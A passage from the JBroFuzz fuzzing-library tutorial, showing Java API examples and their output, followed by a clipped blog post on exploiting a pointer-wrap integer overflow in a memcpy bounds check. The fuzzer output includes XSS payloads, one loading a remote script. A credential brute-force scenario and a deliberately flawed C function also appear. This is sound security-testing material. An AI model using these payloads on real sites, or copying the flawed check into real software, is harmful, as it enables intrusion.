     * Copyright (C) 2007, 2008, 2009 subere@uncon.org
     *
     * This file is part of the JBroFuzz API examples on how to use the 
     * fuzzer libraries included in JBroFuzz.jar.
     * 
     * JBroFuzz is free software: you can redistribute it and/or modify
     * it under the terms of the GNU General Public License as published by
     * the Free Software Foundation, either version 3 of the License, or
     * (at your option) any later version.
     * 
     * JBroFuzz is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     * GNU General Public License for more details.
     * 
     * You should have received a copy of the GNU General Public License
     * along with JBroFuzz.  If not, see <http://www.gnu.org/licenses/>.
     * Alternatively, write to the Free Software Foundation, Inc., 51 
     * Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
     * 
     * Verbatim copying and distribution of this entire program file is 
     * permitted in any medium without royalty provided this notice 
     * is preserved. 
     * 
     */
    
    import org.owasp.jbrofuzz.core.NoSuchFuzzerException;
    import org.owasp.jbrofuzz.core.Database;
    import org.owasp.jbrofuzz.core.Fuzzer; 
    
    /**
     * <p>In JBroFuzz a Fuzzer is a java Iterator.</p>
     * 
     * <p>In order to create a Fuzzer, use the factory method
     * Database.createFuzzer(String, int), passing as arguments
     * the Fuzzer ID and the specified length as a positive int.</p>
     * 
     * <p>Be careful to check that the fuzzer ID (labelled as f_ID)
     * is actually an existing ID from the Database of Fuzzers.</p>
     * 
     * <p>Expected Output:</p>
     * <code>
     *  The fuzzer payload is: 00000<br>
     *  The fuzzer payload is: 00001<br>
     *  ...<br>
     *  (a total of 16^5 = 1048576 lines)<br>
     *  ...<br>
     *  The fuzzer payload is: ffffd<br>
     *  The fuzzer payload is: ffffe<br>
     *  The fuzzer payload is: fffff<br>
     * </code>
     * 
     * <p>For more information on the Database of Fuzzers, see the
     * HelloDatabase Class.</p>
     * 
     * @author subere@uncon.org
     * @version n/a
     */
    public class HelloFuzzer {
    
            /**
             * @param args
             */
            public static void main(String[] args) {
    
                    // You have to construct an instance of the fuzzers database
                    Database fuzzDB = new Database();
                    // You have to supply a valid fuzzer ID
                    String f_ID = "031-B16-HEX";
                    // You have to supply a (+)tive int
                    int f_len = 5;
                    
                    try {
                            
                            for(Fuzzer f = fuzzDB.createFuzzer(f_ID, f_len); f.hasNext();) {
                                    
                                    // Get the next payload value...
                                    System.out.println(" The fuzzer payload is: " + f.next());
                                    
                            }
    
                    } catch (NoSuchFuzzerException e) {
                            
                            System.out.println("Could not find fuzzer " + e.getMessage());
                            
                    }
    
            }
    
    }
    
    
[/code]

#### Hello Database of Fuzzers

Having seen how to access a single Fuzzer through the createFuzzer\(\) method
available in the Database object. The next question that comes naturally is
what are the Fuzzers that are available by default in JBroFuzz?

To answer that, this example focuses more on the database component that we
previously initialised, investigating the list of available methods that it
offers.

In JBroFuzz, all Fuzzers are stored in a Database object that you will be
required to construct in order to access them.

[code]

    /**
     * JBroFuzz API Examples 02
     *
     * JBroFuzz - A stateless network protocol fuzzer for web applications.
     * 
     * Copyright (C) 2007, 2008, 2009 subere@uncon.org
     *
     * This file is part of the JBroFuzz API examples on how to use the 
     * fuzzer libraries included in JBroFuzz.jar.
     * 
     * JBroFuzz is free software: you can redistribute it and/or modify
     * it under the terms of the GNU General Public License as published by
     * the Free Software Foundation, either version 3 of the License, or
     * (at your option) any later version.
     * 
     * JBroFuzz is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     * GNU General Public License for more details.
     * 
     * You should have received a copy of the GNU General Public License
     * along with JBroFuzz.  If not, see <http://www.gnu.org/licenses/>.
     * Alternatively, write to the Free Software Foundation, Inc., 51 
     * Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
     * 
     * Verbatim copying and distribution of this entire program file is 
     * permitted in any medium without royalty provided this notice 
     * is preserved. 
     * 
     */
    
    import org.owasp.jbrofuzz.core.NoSuchFuzzerException;
    import org.owasp.jbrofuzz.core.Database;
    import org.owasp.jbrofuzz.core.Fuzzer; 
    
    /**
     * <p>In JBroFuzz all Fuzzers are stored in a Database
     * object that you will be required to construct in order
     * to access them.</p>
     * 
     * <p>Within the Database, each Fuzzer is a collection of 
     * payloads, which carries a unique ID string value.</p>
     * 
     * <p>Example ID values are the output of this program:</p>
     * <code>
     *  The fuzzer ID is: 013-LDP-INJ<br>
     *      The name of the fuzzer is:                      LDAP Injection<br>
     *      The id of the fuzzer is:                        013-LDP-INJ<br>
     *      The of payloads it carries (it's alphabet) is:  20<br>
     *      It has as 1st payload:<br>
     *              |<br>
     *  The fuzzer ID is: 018-XSS-4IE<br>
     *      The name of the fuzzer is:                      XSS IE<br>
     *      The id of the fuzzer is:                        018-XSS-4IE<br>
     *      The of payloads it carries (it's alphabet) is:  38<br>
     *      It has as 1st payload:<br>
     *              < img src=`x` onrerror= ` ;; alert(1) ` /><br>
     *
     * </code>
     * 
     * <p>Do not be confused between Prototypes and Fuzzers; 
     * JBroFuzz uses Prototype objects to construct the Fuzzers
     * that get added into the Database upon initialisation.</p>
     * 
     * <p>As a result, the getter methods available within a Database
     * object can carry the name of getAllPrototypeIDs and 
     * getAllFuzzerIDs interchangebly.</p>
     * 
     * @author subere@uncon.org
     * @version n/a
     */
    public class HelloDatabase {
    
            /**
             * @param args
             */
            public static void main(String[] args) {
    
                    // You have to construct an instance of the fuzzers database
                    Database fuzzDB = new Database();
    
                    // Get a list of all the fuzzer IDs from the database
                    String[] fuzzer_IDs = fuzzDB.getAllPrototypeIDs();
                    
                    System.out.println("The fuzzer IDs found are:");
                    
                    for(String fuzzerID : fuzzer_IDs) {
                            
                            System.out.println("The fuzzer ID is: " + fuzzerID);
                            
                            // We pass of length of 1, irrelevant if we are
                            // just going to access the first payload
                            // of the fuzzer
                            Fuzzer fuzzer;
                            try {
                                    
                                    fuzzer = fuzzDB.createFuzzer(fuzzerID, 1);
                                    // Normally you should check for fuzzer.hasNext()                               
                                    String payload = fuzzer.next();
                                    
                                    System.out.println("\tThe name of the fuzzer is:\t\t\t" + fuzzer.getName() );
                                    System.out.println("\tThe id of the fuzzer is:\t\t\t" + fuzzer.getId() );
                                    System.out.println("\tThe of payloads it carries (it's alphabet) is:\t" + fuzzDB.getSize(fuzzerID));
                                    System.out.println("\tIt has as 1st payload:\n\t\t" + payload );
    
                            } catch (NoSuchFuzzerException e) {
                                    System.out.println("Could not find the specified fuzzer!");
                                    System.out.println("Going to print all the fuzzer IDs I know:");
                                    // old vs new for loop :)
                                    // in case of an error, print just the 
                                    // fuzzer IDs, accessed from the DB
                                    for(int j = 0; j < fuzzer_IDs.length; j++) {
                                            System.out.println("The fuzzer ID is: " + fuzzer_IDs[j]);
                                    }
                                    
                            }
                            
                    }
                    
            }
    
    }
    
    
[/code]

#### Methods available within the Fuzzer Class

A final example of this section, involves seeing the usage of all the method
calls available in the Fuzzer.java class

[code]

    /**
     * JBroFuzz API Examples 03
     *
     * JBroFuzz - A stateless network protocol fuzzer for web applications.
     * 
     * Copyright (C) 2007, 2008, 2009 subere@uncon.org
     *
     * This file is part of the JBroFuzz API examples on how to use the 
     * fuzzer libraries included in JBroFuzz.jar.
     * 
     * JBroFuzz is free software: you can redistribute it and/or modify
     * it under the terms of the GNU General Public License as published by
     * the Free Software Foundation, either version 3 of the License, or
     * (at your option) any later version.
     * 
     * JBroFuzz is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     * GNU General Public License for more details.
     * 
     * You should have received a copy of the GNU General Public License
     * along with JBroFuzz.  If not, see <http://www.gnu.org/licenses/>.
     * Alternatively, write to the Free Software Foundation, Inc., 51 
     * Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
     * 
     * Verbatim copying and distribution of this entire program file is 
     * permitted in any medium without royalty provided this notice 
     * is preserved. 
     * 
     */
    
    import org.owasp.jbrofuzz.core.NoSuchFuzzerException;
    import org.owasp.jbrofuzz.core.Database;
    import org.owasp.jbrofuzz.core.Fuzzer; 
    
    /**
     * <p>Example iterating through all the methods available
     * in the Fuzzer Object and their respective outputs.</p>
     *
     * @author subere@uncon.org
     * @version n/a
     */
    public class IndigoFuzzerTests {
    
            /**
             * @param args
             */
            public static void main(String[] args) {
    
                    // You have to construct an instance of the fuzzers database
                    Database fuzzDB = new Database();
                    // You have to supply a valid fuzzer ID
                    String f_ID = "033-B08-OCT";
                    // You have to supply a (+)tive int
                    int f_len = 5;
    
                    try {
                            
                            Fuzzer f = fuzzDB.createFuzzer(f_ID, f_len);
    
                            while(f.hasNext()) {
                                    
                                    // Could do this via reflection, but..
                                    f.next();
                                    // System.out.println(" The fuzzer payload is: " + f.next());
                                    System.out.println(" The maximum value is: " + f.getMaximumValue());
    
                                    System.out.println(" The current value is: " + f.getCurrectValue());
                                    
    
                                    
                            }
    
    
                    } catch (NoSuchFuzzerException e) {
                            
                            System.out.println("Could not find fuzzer " + e.getMessage());
                            
                    }
    
            }
    
    }
    
    
[/code]

### Advanced Fuzzing with the JBroFuzz Library

This section covers more advanced APIs that are available under the
**org.owasp.jbrofuzz.core package**. It should be noted that some of these
classes and their corresponding functionality are not used by the JBroFuzz
program application. Instead, they are made available for incorporation into
other java code that you have perhaps written that requires more specialized
type of fuzzing.

#### Fuzzing Really Long Values with Big Integer

As stated previously, within JBroFuzz a Fuzzer is a java Iterator. This
implies that while fuzzing, we typically keep track of a counter representing
the value that we are currently on. Consider the example of HelloFuzzer.java,
above:

[code]

    import org.owasp.jbrofuzz.core.*;
    
    public class HelloFuzzer {
    
     public static void main(String[] args) {
    
     Database fuzzDB = new Database();
    
     try {
         for(Fuzzer f = fuzzDB.createFuzzer("031-B16-HEX", 4); f.hasNext();) {
           // Get the next payload value...
           System.out.println(" The fuzzer payload is: " + f.next());
         }
       } catch (NoSuchFuzzerException e) {
           System.out.println("Could not find fuzzer " + e.getMessage());
     }
    
     }
    
    } // HelloFuzzer.java OWASP JBroFuzz Example 1
    
    
[/code]

If we compile this program:

[code]

    javac -classpath ".\jbrofuzz\jar\JBroFuzz.jar" HelloFuzzer.java
    
    
[/code]

and run it:

[code]

    java -cp ".\jbrofuzz\jar\JBroFuzz.jar;." HelloFuzzer
    
    
[/code]

We are going to see output similar to:

[code]

     The fuzzer payload is: 0000
     ... (output omitted)
     The fuzzer payload is: fffd
     The fuzzer payload is: fffe
     The fuzzer payload is: ffff
    
    
[/code]

Now what if we want a hexadecimal fuzzer of length not 4, but, say, 24. Let's
try compile and run the above program with a length of 24. Changing the line
to:

[code]

         for(Fuzzer f = fuzzDB.createFuzzer("031-B16-HEX", 24); f.hasNext();) {
    
    
[/code]

Running this modified version of HelloFuzzer.java, yields:

[code]

    >javac -classpath ".\jbrofuzz\jar\JBroFuzz.jar;." HelloFuzzer.java
    
    >java -classpath ".\jbrofuzz\jar\JBroFuzz.jar;." HelloFuzzer
    
    >
    
    
[/code]

Nothing\! What is actually happening is JBroFuzz is figuring out that the
specified length of the Fuzzer we are about to create is far greater than that
of the long java data type. As a result, the Fuzzer is not even entering the
iteration mode that is typically expected with methods next\(\) and
hasNext\(\).

That's all great, but we still want a hexadecimal fuzzer, 24 digits long going
from:

[code]

    000000000000000000000000
    ...to...
    ffffffffffffffffffffffff
    
    
[/code]

For this JBroFuzz offers another type of Fuzzer class, that of
FuzzerBigInteger. Let's modify the critical line within the original
HelloFuzzer.java program that we had:

[code]

         for(FuzzerBigInteger f = fuzzDB.createFuzzerBigInteger("031-B16-HEX", 24); f.hasNext();) {
    
    
[/code]

With the entire program becoming:

[code]

    import org.owasp.jbrofuzz.core.*;
    
    public class HelloFuzzer {
    
     public static void main(String[] args) {
    
     Database fuzzDB = new Database();
    
     try {
         for(FuzzerBigInteger f = fuzzDB.createFuzzerBigInteger("031-B16-HEX", 24); f.hasNext();) {
           // Get the next payload value...
           System.out.println(" The fuzzer payload is: " + f.next());
         }
       } catch (NoSuchFuzzerException e) {
           System.out.println("Could not find fuzzer " + e.getMessage());
     }
    
     }
    
    } // HelloFuzzer.java OWASP JBroFuzz Example 1
    
    
[/code]

Compiling and running this program yields:

[code]

     The fuzzer payload is: 000000000000000000000000
     The fuzzer payload is: 000000000000000000000001
     ... (output omitted)
     The fuzzer payload is: 00000000000000000001a982
     ... (output omitted)
     The fuzzer payload is: 00000000000000000001a982
     The fuzzer payload is: ffffffffffffffffffffffff
    
    
[/code]

There are limitations to this class, as governed by the BigInteger class
itself. Further information can be found at:

[code]

    http://java.sun.com/j2se/1.5.0/docs/api/java/math/BigInteger.html
    
    
[/code]

Still, on a virtual windows xp machine with 256Mb of RAM the above code had no
problem running to completion. It took some time though.. Characteristics of
the windows machine while this iteration was ongoing: The CPU was being
utilised at 100% and memory usage was constant at 212 Mb. Overall, a clean
sheet for FuzzerBigInteger.java.

#### Using the Power Fuzzer API

With web applications, it is often that you find yourself re-using part of, or
the entirety of a fuzzing payload in more than one location, as part of the
GET, POST, or any other type of request you submit.

For this reason, JBroFuzz offers the PowerFuzzer class: A type of iterator for
which you can specify how many copies of the payload you require in each
request.

Let's consider the following trivial scenario. You are in need of all
hexadecimal values, which are 4-digits long \(i.e. 0000 to FFFF\) and you are
in need of these 5 times for each request.

This scenario is trivial, because typically you can assign the fuzzing payload
\(i.e. the value you get back from Fuzzer.next\(\) \) to a String variable and
re-use it as many times as you see fit.

[code]

     Database fuzzDB = new Database();
     
     String fuzzerID = "031-B16-HEX";
     int length = 4;
     ....
         for(Fuzzer f = fuzzDB.createFuzzer(fuzzerID, length); f.hasNext();) {
              String payload = f.next();
              ....
         }
    
    
[/code]

Using the PowerFuzzer.class, the following HelloPowerFuzzer.java program can
be created:

[code]

    import org.owasp.jbrofuzz.core.*;
    
    public class HelloPowerFuzzer {
    
     public static void main(String[] args) {
    
     Database fuzzDB = new Database();
     
     String fuzzerID = "031-B16-HEX";
     int length = 4;
     int power = 5;
    
     try {
         for(PowerFuzzer f = fuzzDB.createPowerFuzzer(fuzzerID, length, power); f.hasNext();) {
           // Get the next payload in an array of length[power]
               String [] identicalElements = f.nextPower();
    
                // f.getPower() == identicalElements.length, always
                    System.out.print(" I have " + f.getPower() + " elements: ");
               
               for(String elem : identicalElements) {
                    
                 System.out.print(elem + " ");
               }
               System.out.println("");
               
         }
       } catch (NoSuchFuzzerException e) {
           System.out.println("Could not find fuzzer " + e.getMessage());
     }
    
     }
    
    } // HelloPowerFuzzer.java OWASP JBroFuzz Power Fuzzer Example
    
    
    
[/code]

This program would output the following; no rocket science here:

[code]

    ....
     I have 5 elements: 4817 4817 4817 4817 4817
     I have 5 elements: 4818 4818 4818 4818 4818
     I have 5 elements: 4819 4819 4819 4819 4819
     I have 5 elements: 481a 481a 481a 481a 481a
     I have 5 elements: 481b 481b 481b 481b 481b
     I have 5 elements: 481c 481c 481c 481c 481c
     I have 5 elements: 481d 481d 481d 481d 481d
     I have 5 elements: 481e 481e 481e 481e 481e
     I have 5 elements: 481f 481f 481f 481f 481f
     I have 5 elements: 4820 4820 4820 4820 4820
     I have 5 elements: 4821 4821 4821 4821 4821
     I have 5 elements: 4822 4822 4822 4822 4822
     I have 5 elements: 4823 4823 4823 4823 4823
     I have 5 elements: 4824 4824 4824 4824 4824
     I have 5 elements: 4825 4825 4825 4825 4825
     I have 5 elements: 4826 4826 4826 4826 4826
    ....
    
    
[/code]

Now imagine you need to change the number of elements you obtain back every
time. For every second request, you need to obtain back two identical
payloads, for every third request, you need to obtain back three payloads and
for every fourth request, you need to obtain back four payloads.

The PowerFuzzer class, with the corresponding method **setPower\(int\)**
allows you to set how many identical elements you obtain back, without having
to worry about the length argument. Below is a class that solves the above
scenario:

[code]

    import org.owasp.jbrofuzz.core.*;
    
    public class HelloPowerFuzzer {
    
     public static void main(String[] args) {
    
     Database fuzzDB = new Database();
     
     String fuzzerID = "031-B16-HEX";
     int length = 4;
     int power = 5;
    
     try {
         for(PowerFuzzer f = fuzzDB.createPowerFuzzer(fuzzerID, length, power); f.hasNext();) {
             
               int currentValue = (int) f.getCurrentValue(); 
               currentValue %= 4;
               switch (currentValue) {
                            case 0: f.setPower(1); break;
                            case 1: f.setPower(2); break;
                            case 2: f.setPower(3); break;
                            default: f.setPower(4); break;
               }
               
           // Get the next payload in an array of length[power]
               String [] identicalElements = f.nextPower();
               
                // f.getPower() == identicalElements.length, always
                    System.out.print(" I have " + f.getPower() + " elements: ");
                    // System.out.println(currentValue);
               
               for(String elem : identicalElements) {
                    
                 System.out.print(elem + " ");
               }
               System.out.println("");
               
         }
       } catch (NoSuchFuzzerException e) {
           System.out.println("Could not find fuzzer " + e.getMessage());
     }
    
     }
    
    } // HelloPowerFuzzer.java
    
    
    
[/code]

This class has as output:

[code]

     ....
     I have 1 elements: 22a8
     I have 2 elements: 22a9 22a9
     I have 3 elements: 22aa 22aa 22aa
     I have 4 elements: 22ab 22ab 22ab 22ab
     I have 1 elements: 22ac
     I have 2 elements: 22ad 22ad
     I have 3 elements: 22ae 22ae 22ae
     I have 4 elements: 22af 22af 22af 22af
     I have 1 elements: 22b0
     I have 2 elements: 22b1 22b1
     I have 3 elements: 22b2 22b2 22b2
     I have 4 elements: 22b3 22b3 22b3 22b3
     I have 1 elements: 22b4
     I have 2 elements: 22b5 22b5
     I have 3 elements: 22b6 22b6 22b6
     I have 4 elements: 22b7 22b7 22b7 22b7
     I have 1 elements: 22b8
     I have 2 elements: 22b9 22b9
     ....
    
    
[/code]

Naturally, the algorithm of the number of elements required can vary based on
any number of parameters. The PowerFuzzer class gives you a quick way to
control the number of identical payloads you obtain back, without having to
worry about creating a data type to store them in.

#### Using the Double Fuzzer API

In some cases of fuzzing web applications, a requirement to fuzz two \(or
more\) locations part of the request being submitted to the web server becomes
apparent.

The DoubleFuzzer class allows you to create a fuzzer based on two prototype
definitions. Similarly to instantiating a Fuzzer through a prototype and a
given length, with a DoubleFuzzer, we pass two prototype definitions and two
lengths. The corresponding method call available within the **Database** class
of org.owasp.jbrofuzz.core is:

[code]

    public DoubleFuzzer createDoubleFuzzer(String id1, int length1,  
                                                                    String id2, int length2) throws NoSuchFuzzerException {
    
    
[/code]

Let's cross-breed some fuzzers, see what results we get back during an
iteration.

The first example below, uses two hexadecimal fuzzers of different lengths, as
specified by the variables:

[code]

    String fuzzID1 = "031-B16-HEX";
    String fuzzID2 = "031-B16-HEX";
    
    int length1 = 4;
    int length2 = 2;
    
    
[/code]

As the double fuzzer iteration is taking place, the second fuzzer, defined by
the fuzzID2 & length2 loops, starting from 00 and going all the way up to FF.
An example output is:

[code]

     I have 2 elements: fefb fb
     I have 2 elements: fefc fc
     I have 2 elements: fefd fd
     I have 2 elements: fefe fe
     I have 2 elements: feff ff
     I have 2 elements: ff00 00
     I have 2 elements: ff01 01
     I have 2 elements: ff02 02
     I have 2 elements: ff03 03
    
    
[/code]

The complete code listing of HelloDoubleFuzzer.java is:

[code]

    import org.owasp.jbrofuzz.core.*;
    
    public class HelloDoubleFuzzer {
    
     public static void main(String[] args) {
    
     Database fuzzDB = new Database();
     
     String fuzzID1 = "031-B16-HEX";
     String fuzzID2 = "031-B16-HEX";
     
     int length1 = 4;
     int length2 = 2;
     
     try {
         DoubleFuzzer f = fuzzDB.createDoubleFuzzer(fuzzID1, length1, fuzzID2, length2);
             
         while( f.hasNext() ) {
           // Get the next payload in an array of length[power]
               String [] payloads = f.next();
               
                // f.getPower() == identicalElements.length, always
                    System.out.print(" I have " + f.getPower() + " elements: ");
                    // System.out.println(currentValue);
               
               for(String elem : payloads) {
                    
                 System.out.print(elem + " ");
               }
               System.out.println("");
               
         }
       } catch (NoSuchFuzzerException e) {
           System.out.println("Could not find fuzzer " + e.getMessage());
     }
    
     }
    
    } // HelloDoubleFuzzer.java
    
    
[/code]

That's simple enough; now let's cross-breed something a bit more exotic:
Imagine a 3-digit octal ID value \[000 - 777\] being submitted inline with,
say, a parameter that we want to test for Cross-Site Scripting \(XSS\). Let's
adjust the program above with the corresponding fuzzer IDs of these fuzzers.
Remember all the IDs of all the fuzzers can be found in the fuzzers.jbrf file
within JBroFuzz.jar:

[code]

    import org.owasp.jbrofuzz.core.*;
    
    public class HelloDoubleFuzzer {
    
     public static void main(String[] args) {
    
     Database fuzzDB = new Database();
     
     String fuzzID1 = "033-B08-OCT";
     String fuzzID2 = "019-XSS-GEK";
     
     int length1 = 3;
     int length2 = 1;
     
     try {
         DoubleFuzzer f = fuzzDB.createDoubleFuzzer(fuzzID1, length1, fuzzID2, length2);
             
         while( f.hasNext() ) {
           // Get the next payload in an array of length[power]
               String [] payloads = f.next();
               
                // f.getPower() == identicalElements.length, always
                    System.out.print(" I have " + f.getPower() + " elements: ");
                    // System.out.println(currentValue);
               
               for(String elem : payloads) {
                    
                 System.out.print(elem + " ");
               }
               System.out.println("");
               
         }
       } catch (NoSuchFuzzerException e) {
           System.out.println("Could not find fuzzer " + e.getMessage());
     }
    
     }
    
    } // HelloDoubleFuzzer.java
    
    
[/code]

The output from this program is:

[code]

     I have 2 elements: 000 (1?(1?{a:1?""[1?"ev\a\l":0](1?"\a\lert":0):0}:0).a:0)[1?"\c\a\l\l":0](content,1?"x\s\s":0)
     I have 2 elements: 001 <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
     I have 2 elements: 002 <SCRIPT SRC=http://ha.ckers.org/xss.js
     I have 2 elements: 003 <A HREF="http://google:ha.ckers.org">XSS</A>
     I have 2 elements: 004 <A HREF="http://ha.ckers.org@google">XSS</A>
     I have 2 elements: 005 <A HREF="//google">XSS</A>
     ....
     ...
     ..
     .
     ..
     ...
     ....
     I have 2 elements: 774 <SCRIPT SRC=http://ha.ckers.org/xss.js
     I have 2 elements: 775 <A HREF="http://google:ha.ckers.org">XSS</A>
     I have 2 elements: 776 <A HREF="http://ha.ckers.org@google">XSS</A>
     I have 2 elements: 777 <A HREF="//google">XSS</A>
    
    
[/code]

With the list stopping iterating at the last element of the greatest of the
two fuzzers.

#### Using the Cross Product Fuzzer API

A final case of a special Double Fuzzer is the the Cross Product Fuzzer of the
payloads of two fuzzers. This type of fuzzing is virtually encountered in
username/password login form on the Internet. Let's work on this by example.

Consider your home network router. You recall changing the default password to
one of the typical password values that you use. Also, you are not 100%
certain about the username for the router either, it is one of the typical
admin, user, administrator, root, yoda type values, but you cannot recall
which one. Needless to say, you don't know what the username, or password
actually is.

So in a mini brute-forcing attack scenario, you have the following list of
usernames, out of which one is valid:

[code]

    admin
    administrator
    Administrator
    root
    adminUser
    
    
[/code]

Also you know that the password is one of the following \(Top 10 Threadwatch
2007 passwords\):

[code]

    password
    123456
    qwerty
    abc123
    letmein
    monkey
    myspace1
    password1
    blink182
    
    
[/code]

The set that contains every possible combination of the two sets is the Cross
Product of the list of usernames, times the list of passwords. So manually,
\(as most people do while locking themselves out\) you would try, popular
combinations of the above, starting with:

[code]

    admin password
    admin 123456
    admin qwerty
    ....
    admin blink182
    administrator password
    administrator 123456
    administrator qwerty
    ....
    adminUser password1
    adminUser blink182
    
    
[/code]

Thus the total number of attempts would be \(number of usernames\) x \(number
of passwords\). No rocket science here.

JBroFuzz introduces the CrossProductFuzzer class capable of iterating through
the cross product of two fuzzers. Let's put it into code; the following
program provides a list of all 2-digit octal numbers with every 2-digit binary
number. A total of \(8 x 8\) x \(2 x 2\) = 256 values.

[code]

    import org.owasp.jbrofuzz.core.*;
    
    public class HelloCrossFuzzer {
    
     public static void main(String[] args) {
    
     Database fuzzDB = new Database();
     
     String fuzzID1 = "033-B08-OCT";
     String fuzzID2 = "034-B02-BIN";
     
     int length1 = 2;
     int length2 = 2;
     
     try {
         CrossProductFuzzer f = fuzzDB.createCrossFuzzer(fuzzID1, length1, fuzzID2, length2);
             
         while( f.hasNext() ) {
           // Get the next payload in an array of length[power]
               String [] payloads = f.next();
               
                // f.getPower() == identicalElements.length, always
                    System.out.print(" I have " + f.getPower() + " elements: ");
                    // System.out.println(currentValue);
               
               for(String elem : payloads) {
                    
                 System.out.print(elem + " ");
               }
               System.out.println("");
               
         }
       } catch (NoSuchFuzzerException e) {
           System.out.println("Could not find fuzzer " + e.getMessage());
     }
    
     }
    
    } // HelloCrossFuzzer.java
    
    
[/code]

This program has as output:

[code]

     I have 2 elements: 00 00
     ...
     ..
     .
     ..
     ...
     I have 2 elements: 74 00
     I have 2 elements: 74 01
     I have 2 elements: 74 10
     I have 2 elements: 74 11
     I have 2 elements: 75 00
     I have 2 elements: 75 01
     I have 2 elements: 75 10
     I have 2 elements: 75 11
     I have 2 elements: 76 00
     I have 2 elements: 76 01
     I have 2 elements: 76 10
     I have 2 elements: 76 11
     I have 2 elements: 77 00
     I have 2 elements: 77 01
     I have 2 elements: 77 10
     I have 2 elements: 77 11
    
    
[/code]

You can substitute any list of fuzzer ID to the IDs you use in this program.

**Remember\!** The total number of payloads must not exceed that of the the
maximum value of the long primitive java data type  _Long.MAX\_VALUE_ which is
2^63 - 1. If you are in need of more than that payloads, you would have to use
the big integer implementation of the Fuzzer class, namely:
FuzzerBigInteger.java.

## Graphing with JBroFuzz

Once a fuzzing session has completed, JBroFuzz offers the ability to generate
a number of graphs, using various metrics. This section investigates how to
further the graphing functionality available with the application.

### Customizing the logo on each Graph

As of version 2.0, all image icons within JBroFuzz are located within the
/icons directory of the application. The particular transparent image file
displayed on top right part of the graphs is named:

[code]

    /icons/owasp-med.png
    
    
[/code]

This file is a 64 x 64 PNG image file. You can replace it with your own file,
as follows:

[code]

    >ls -l JBroFuzz.jar
    -rw-rw-rw-   1 user     group     4033612 Feb 15 12:33 JBroFuzz.jar
    
    >unzip -oq JBroFuzz.jar
    >cd icons
    >mv owasp-med.png file64x64-file.png
    >cd ..
    >zip -r JBroFuzz.zip *
    >mv JBroFuzz.zip JBroFuzz.jar
    
    
[/code]

This enables you to have your own \(company logo\) on JBroFuzz graphs. Further
to this, a number of other customization options are available, by right
clicking on each of the graph generated.

# Memory address layout vulnerabilities « root labs rdist

**Created:**| _2/25/2011 9:41:51 AM_  
---|---  
**Updated:**| _2/25/2011 9:42:00 AM_  
**Author:**| __  
**Tags:**| _Exploit awesome_  
  

### Memory address layout vulnerabilities

Filed under: Embedded,Hacking,Security — Nate Lawson @ 7:23 am  

This post is about a programming mistake we have seen a few times in the
field. If you live the TAOSSA, you probably already avoid this but it’s a
surprisingly tricky and persistent bug.

Assume you’d like to exploit the function below on a 32-bit system. You
control len and the contents of src, and they can be up to about 1 MB in size
before malloc\(\) or prior input checks start to error out early without
calling this function.

[code]

    int target_fn(char *src, int len)
    {
        char buf[32];
        char *end;
    
        if (len < 0) return -1;
        end = buf + len;
        if (end > buf + sizeof(buf)) return -1;
        memcpy(buf, src, len);
        return 0;
    }
    
[/code]

Is there a flaw? If so, what conditions are required to exploit it? Hint: the
obvious integer overflow using len is caught by the first if statement.

The bug is an ordinary integer overflow, but it is only exploitable in certain
conditions. It depends entirely on the address of buf in memory. If the stack
is located at the bottom of address space on your system or if buf was located
on the heap, it is probably not exploitable. If it is near the top of address
space as with most stacks, it may be exploitable. But it completely depends on
the runtime location of buf, so exploitability depends on the containing
program itself and how it uses other memory.

The issue is that buf + len may wrap the end pointer to memory below buf. This
may happen even for small values of len, if buf is close enough to the top of
memory. For example, if buf is at 0xffff0000, a len as small as 64KB can be
enough to wrap the end pointer. This allows the memcpy\(\) to become
unbounded, up to the end of RAM. If you’re on a microcontroller or other
system that allows accesses to low memory, memcpy\(\) could wrap internally
after hitting the top of memory and continue storing data at low addresses.

Of course, these kinds of functions are never neatly packaged in a small
wrapper and easy to find. There’s usually a sea of them and the copy happens
many function calls later, based on stored values. In this kind of situation,
all of us \(maybe even Mark Dowd\) need some help sometimes.

There has been a lot of recent work on using SMT solvers to find boundary
condition bugs. They are useful, but often limited. Every time you hit a
branch, you have to add a constraint \(or potentially double your terms,
depending on the structure\). Also, inferring the runtime contents of RAM is a
separate and difficult problem.

We think the best approach for now is to use manual code review to identify
potentially problematic sections, and then restrict the search space to that
set of functions for automated verification. Despite some promising results,
we’re still a long way from automated detection and exploitation of
vulnerabilities. As the program verification field advances, additional
constraints from ASLR, DEP, and even software protection measures reduce the
ease of exploitation.

Over the next few years, it will be interesting to see if attackers can
maintain their early lead by using program verification techniques. Microsoft
has applied the same approach to defense, and it would be good to see this
become general practice elsewhere.

Comments \(7\)

## 7 Comments »

  1. <img src='img/Temp2_5281.gif' width='32' height='32' />
Interesting set of slides. Another approach to 0-byte allocs that I really
like is to give back a pointer to a page that has neither read or write
access. You get a pointer that can be used for a realloc \(realloc is evil,
but you have to provide for it\), but if you attempt to use it, you get a non-
exploitable crash.

Comment by David LeBlanc — February 21, 2011 @ 11:27 am | Reply
     * <img src='img/Temp2_5281.gif' width='32' height='32' />
David, I think that’s a great idea :\) It would certainly make exploiting
these types of bugs more interesting :\)

Comment by jduck — February 21, 2011 @ 3:01 pm | Reply
       * <img src='img/Temp2_5281.gif' width='32' height='32' />
PaX has had this chunk for something like 2.5 years now… ;\)

`  
@@ -87,10 +88,13 @@  
* ZERO_SIZE_PTR can be passed to kfree though in the same way that NULL can.  
* Both make kfree a no-op.  
*/  
-#define ZERO_SIZE_PTR ((void *)16)  
+#define ZERO_SIZE_PTR \  
+({ \  
+ BUILD_BUG_ON(!(MAX_ERRNO & ~PAGE_MASK));\  
+ (void *)(-MAX_ERRNO-1L); \  
+})`

`-#define ZERO_OR_NULL_PTR(x) ((unsigned long)(x) = (unsigned
long)ZERO_SIZE_PTR - 1)  
`

Comment by PaX Team — February 22, 2011 @ 2:55 am

  2. <img src='img/Temp2_5281.gif' width='32' height='32' />
OBTW, SafeInt tends to help with this sort of problem, and it is supported on
